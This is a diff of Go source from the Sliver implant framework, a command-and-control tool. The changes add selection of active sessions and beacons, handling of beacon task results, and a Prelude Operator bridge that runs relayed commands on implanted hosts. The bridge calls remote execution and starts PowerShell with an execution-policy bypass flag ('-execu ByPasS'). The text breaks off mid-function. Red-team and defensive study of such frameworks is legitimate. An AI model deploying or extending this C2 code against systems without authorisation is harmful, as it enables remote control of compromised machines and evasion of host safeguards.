if time.Unix(task.SentAt, 0).IsZero() {
sentAt = ""
}
completedAt := time.Unix(task.CompletedAt, 0).Format(time.RFC1123)
if time.Unix(task.CompletedAt, 0).IsZero() {
completedAt = ""
}
tw.AppendRow(table.Row{
strings.Split(task.ID, "-")[0],
prettyState(task.State),
task.Description,
time.Unix(task.CreatedAt, 0).Format(time.RFC1123),
sentAt,
completedAt,
})
}
con.Printf("%s\n", tw.Render())
}
func prettyState(state string) string {
switch strings.ToLower(state) {
case "pending":
return console.Bold + state + console.Normal
case "sent":
return console.Bold + console.Orange + state + console.Normal
case "completed":
return console.Bold + console.Green + state + console.Normal
default:
return state
}
}
+4
View File
@@ -0,0 +1,4 @@
Use
====
This package implements the `use` command, which is used to select active sessions/beacons.
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseBeaconCmd - Change the active beacon
func UseBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
beacon, err := beacons.SelectBeacon(con)
if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
} else if err != nil {
switch err {
case beacons.ErrNoBeacons:
con.PrintErrorf("No beacon available\n")
case beacons.ErrNoSelection:
con.PrintErrorf("No beacon selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+43
View File
@@ -0,0 +1,43 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// UseSessionCmd - Change the active session
func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
con.PrintErrorf("No sessions available\n")
case sessions.ErrNoSelection:
con.PrintErrorf("No session selected\n")
default:
con.PrintErrorf("%s\n", err)
}
}
}
+176
View File
@@ -0,0 +1,176 @@
package use
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
var (
ErrNoSelection = errors.New("no selection")
)
// UseCmd - Change the active session
func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
var beacon *clientpb.Beacon
var err error
idArg := ctx.Args.String("id")
if idArg != "" {
session, beacon, err = SessionOrBeaconByID(idArg, con)
} else {
session, beacon, err = SelectSessionOrBeacon(con)
}
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
}
}
// SessionOrBeaconByID - Select a session or beacon by ID
func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
for _, beacon := range beacons.Beacons {
if strings.HasPrefix(beacon.ID, id) {
return nil, beacon, nil
}
}
return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id)
}
// SelectSessionOrBeacon - Select a session or beacon
func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) {
// Get and sort sessions
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beaconsMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons.Beacons {
beaconsMap[beacon.ID] = beacon
}
beaconKeys := []string{}
for beaconID := range beaconsMap {
beaconKeys = append(beaconKeys, beaconID)
}
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a session or beacon:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, nil, ErrNoSelection
}
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
}
return nil, nil, nil
}
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// WGPortFwdAddCmd - Add a new WireGuard port forward
func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -53,7 +53,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGPortFwdRmCmd - Remove a WireGuard port forward
func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -40,7 +40,7 @@ func WGPortFwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
fwdID := ctx.Args.Int("id")
stopReq, err := con.Rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{
ID: int32(fwdID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGPortFwdListCmd - List WireGuard port forwards
func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy
func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socks, err := con.Rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{
Port: int32(bindPort),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// WGSocksStopCmd - Stop a WireGuard SOCKS proxy
func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -41,7 +41,7 @@ func WGSocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
stopReq, err := con.Rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{
ID: int32(socksID),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// WGSocksListCmd - List WireGuard SOCKS proxies
func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+184 -68
View File
@@ -28,16 +28,19 @@ import (
insecureRand "math/rand"
"path"
"strconv"
"strings"
"sync"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/golang/protobuf/proto"
"time"
@@ -74,29 +77,37 @@ const (
)
// Observer - A function to call when the sessions changes
type Observer func(*clientpb.Session)
type Observer func(*clientpb.Session, *clientpb.Beacon)
type BeaconTaskCallback func(*clientpb.BeaconTask)
type ActiveSession struct {
Session *clientpb.Session
type ActiveTarget struct {
session *clientpb.Session
beacon *clientpb.Beacon
observers map[int]Observer
observerID int
}
type SliverConsoleClient struct {
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveSession *ActiveSession
IsServer bool
App *grumble.App
Rpc rpcpb.SliverRPCClient
ActiveTarget *ActiveTarget
BeaconTaskCallbacks map[string]BeaconTaskCallback
BeaconTaskCallbacksMutex *sync.Mutex
IsServer bool
Settings *assets.ClientSettings
}
// BindCmds - Bind extra commands to the app object
type BindCmds func(console *SliverConsoleClient)
func init() {
insecureRand.Seed(time.Now().Unix())
}
// Start - Console entrypoint
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
assets.Setup(false, false)
settings, _ := assets.LoadSettings()
con := &SliverConsoleClient{
App: grumble.New(&grumble.Config{
Name: "Sliver",
@@ -108,11 +119,14 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
HelpSubCommands: true,
}),
Rpc: rpc,
ActiveSession: &ActiveSession{
ActiveTarget: &ActiveTarget{
observers: map[int]Observer{},
observerID: 0,
},
IsServer: isServer,
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
BeaconTaskCallbacksMutex: &sync.Mutex{},
IsServer: isServer,
Settings: settings,
}
con.App.SetPrintASCIILogo(func(_ *grumble.App) {
con.PrintLogo()
@@ -121,7 +135,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
bindCmds(con)
extraCmds(con)
con.ActiveSession.AddObserver(func(_ *clientpb.Session) {
con.ActiveTarget.AddObserver(func(_ *clientpb.Session, _ *clientpb.Beacon) {
con.App.SetPrompt(con.GetPrompt())
})
@@ -178,14 +192,16 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
// The HTTP session handling is performed in two steps:
// - first we add an "empty" session
// - then we complete the session info when we receive the Register message from the Sliver
// This check is here to avoid displaying two sessions events for the same session
if session.OS != "" {
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
currentTime := time.Now().Format(time.RFC1123)
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
@@ -197,13 +213,31 @@ func (con *SliverConsoleClient) EventLoop() {
session := event.Session
con.Printf(Clearln+Warn+"Lost session #%d %s - %s (%s) - %s/%s\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveSession.Get()
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveSession.Set(nil)
con.App.SetPrompt(con.GetPrompt())
con.ActiveTarget.Set(nil, nil)
con.Printf(Warn + "Active session disconnected\n")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
case consts.BeaconRegisteredEvent:
beacon := &clientpb.Beacon{}
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintInfof("Beacon #%s %s - %s (%s) - %s/%s - %v\n\n",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
con.triggerReactions(event)
@@ -221,14 +255,13 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
// We need some special handling for SessionOpenedEvent to
// set the new session as the active session
currentActiveSession := con.ActiveSession.Get()
defer con.ActiveSession.Set(currentActiveSession)
con.ActiveSession.Set(nil)
currentActiveSession := con.ActiveTarget.GetSession()
if currentActiveSession != nil {
defer con.ActiveTarget.Set(currentActiveSession, nil)
}
con.ActiveTarget.Set(nil, nil)
if event.EventType == consts.SessionOpenedEvent {
if event.Session == nil || event.Session.OS == "" {
return // Half-open session, do not execute any command
}
con.ActiveSession.Set(event.Session)
con.ActiveTarget.Set(event.Session, nil)
}
for _, reaction := range reactions {
@@ -247,13 +280,53 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
}
}
// triggerBeaconTaskCallback - Triggers the callback for a beacon task
func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
task := &clientpb.BeaconTask{}
err := proto.Unmarshal(data, task)
if err != nil {
con.PrintErrorf("\rCould not unmarshal beacon task: %s\n", err)
return
}
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
if con.Settings.BeaconAutoResults {
// TODO: The background context could block forever and deadlock the mutex
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{
ID: task.ID,
})
con.Printf(Clearln + "\r")
if err == nil {
callback(task)
} else {
con.PrintErrorf("Could not get beacon task content: %s\n", err)
}
con.Println()
}
delete(con.BeaconTaskCallbacks, task.ID)
}
}
func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) {
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
con.BeaconTaskCallbacks[taskID] = callback
}
func (con *SliverConsoleClient) GetPrompt() string {
prompt := Underline + "sliver" + Normal
if con.IsServer {
prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal
}
if con.ActiveSession.Get() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveSession.Get().Name, Normal)
if con.ActiveTarget.GetSession() != nil {
prompt += fmt.Sprintf(Bold+Red+" (%s)%s", con.ActiveTarget.GetSession().Name, Normal)
} else if con.ActiveTarget.GetBeacon() != nil {
prompt += fmt.Sprintf(Bold+Blue+" (%s)%s", con.ActiveTarget.GetBeacon().Name, Normal)
}
prompt += " > "
return Clearln + prompt
@@ -270,7 +343,6 @@ func (con *SliverConsoleClient) PrintLogo() {
}
serverSemVer := fmt.Sprintf("%d.%d.%d", serverVer.Major, serverVer.Minor, serverVer.Patch)
insecureRand.Seed(time.Now().Unix())
logo := asciiLogos[insecureRand.Intn(len(asciiLogos))]
con.Println(logo)
con.Println("All hackers gain " + abilities[insecureRand.Intn(len(abilities))])
@@ -352,8 +424,9 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi
}
// GetActiveSessionConfig - Get the active sessions's config
// TODO: Switch to query config based on ConfigID
func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return nil
}
@@ -370,8 +443,8 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Evasion: session.GetEvasion(),
MaxConnectionErrors: uint32(1000),
ReconnectInterval: uint32(60),
PollInterval: uint32(1),
ReconnectInterval: int64(60),
PollTimeout: int64(1),
Format: clientpb.OutputFormat_SHELLCODE,
IsSharedLib: true,
@@ -380,12 +453,9 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
return config
}
// This should be called for any dangerous (OPSEC-wise) functions
func (con *SliverConsoleClient) IsUserAnAdult() bool {
confirm := false
prompt := &survey.Confirm{Message: "This action is bad OPSEC, are you an adult?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
// PrintAsyncResponse - Print the generic async response information
func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) {
con.PrintInfof("Tasked beacon %s (%s)\n", resp.BeaconID, resp.TaskID)
}
func (con *SliverConsoleClient) Printf(format string, args ...interface{}) (n int, err error) {
@@ -413,61 +483,107 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
}
//
// -------------------------- [ Active Session ] --------------------------
// -------------------------- [ Active Target ] --------------------------
//
// GetInteractive - GetInteractive the active session
func (s *ActiveSession) GetInteractive() *clientpb.Session {
if s.Session == nil {
fmt.Printf(Warn + "Please select an active session via `use`\n")
return nil
// GetSessionInteractive - Get the active target(s)
func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) {
if s.session == nil && s.beacon == nil {
fmt.Printf(Warn + "Please select a session or beacon via `use`\n")
return nil, nil
}
return s.Session
return s.session, s.beacon
}
// Get - Same as Get() but doesn't print a warning
func (s *ActiveSession) Get() *clientpb.Session {
if s.Session == nil {
// GetSessionInteractive - GetSessionInteractive the active session
func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session {
if s.session == nil {
fmt.Printf(Warn + "Please select a session via `use`\n")
return nil
}
return s.Session
return s.session
}
// GetSession - Same as GetSession() but doesn't print a warning
func (s *ActiveTarget) GetSession() *clientpb.Session {
return s.session
}
// GetBeaconInteractive - Get beacon interactive the active session
func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon {
if s.beacon == nil {
fmt.Printf(Warn + "Please select a beacon via `use`\n")
return nil
}
return s.beacon
}
// GetBeacon - Same as GetBeacon() but doesn't print a warning
func (s *ActiveTarget) GetBeacon() *clientpb.Beacon {
return s.beacon
}
// IsSession - Is the current target a session?
func (s *ActiveTarget) IsSession() bool {
if s.session != nil {
return true
}
return false
}
// AddObserver - Observers to notify when the active session changes
func (s *ActiveSession) AddObserver(observer Observer) int {
func (s *ActiveTarget) AddObserver(observer Observer) int {
s.observerID++
s.observers[s.observerID] = observer
return s.observerID
}
func (s *ActiveSession) RemoveObserver(observerID int) {
func (s *ActiveTarget) RemoveObserver(observerID int) {
delete(s.observers, observerID)
}
func (s *ActiveSession) Request(ctx *grumble.Context) *commonpb.Request {
if s.Session == nil {
func (s *ActiveTarget) Request(ctx *grumble.Context) *commonpb.Request {
if s.session == nil && s.beacon == nil {
return nil
}
timeout := int(time.Second) * ctx.Flags.Int("timeout")
return &commonpb.Request{
SessionID: s.Session.ID,
Timeout: int64(timeout),
req := &commonpb.Request{}
req.Timeout = int64(timeout)
if s.session != nil {
req.Async = false
req.SessionID = s.session.ID
}
if s.beacon != nil {
req.Async = true
req.BeaconID = s.beacon.ID
}
return req
}
// Set - Change the active session
func (s *ActiveSession) Set(session *clientpb.Session) {
s.Session = session
for _, observer := range s.observers {
observer(s.Session)
func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) {
if session != nil && beacon != nil {
panic("cannot set both an active beacon and an active session")
}
if session != nil {
s.session = session
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
} else if beacon != nil {
s.beacon = beacon
for _, observer := range s.observers {
observer(s.session, s.beacon)
}
}
}
// Background - Background the active session
func (s *ActiveSession) Background() {
s.Session = nil
func (s *ActiveTarget) Background() {
s.session = nil
s.beacon = nil
for _, observer := range s.observers {
observer(nil)
observer(nil, nil)
}
}
+18 -6
View File
@@ -82,13 +82,19 @@ const (
// LootRemoved
LootRemovedEvent = "loot-removed"
// BeaconRegisteredEvent - First connection from a new beacon
BeaconRegisteredEvent = "beacon-registered"
// BeaconTaskResult - Beacon task completed with a result
BeaconTaskResultEvent = "beacon-taskresult"
)
// Commands
const (
NewPlayerStr = "new-player"
PlayersStr = "players"
KickPlayerStr = "kick-player"
OperatorsStr = "operators"
NewOperatorStr = "new-operator"
KickStr = "kick"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
@@ -97,12 +103,15 @@ const (
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
SettingsStr = "settings"
// Generic
@@ -116,6 +125,7 @@ const (
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
LootStr = "loot"
LootLocalStr = "local"
@@ -126,7 +136,7 @@ const (
RenameStr = "rename"
ImplantBuildsStr = "implants"
ListCanariesStr = "canaries"
CanariesStr = "canaries"
JobsStr = "jobs"
MtlsStr = "mtls"
@@ -212,7 +222,9 @@ const (
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
)
// Groups
+4
View File
@@ -0,0 +1,4 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+132
View File
@@ -0,0 +1,132 @@
package prelude
import (
"bufio"
"bytes"
"context"
"encoding/json"
"io"
"net"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+92
View File
@@ -0,0 +1,92 @@
package prelude
import (
"context"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "exit":
return shutdown(agent, rpc, session)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
return string(bites), status, pid
}
return "", 0, 0
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
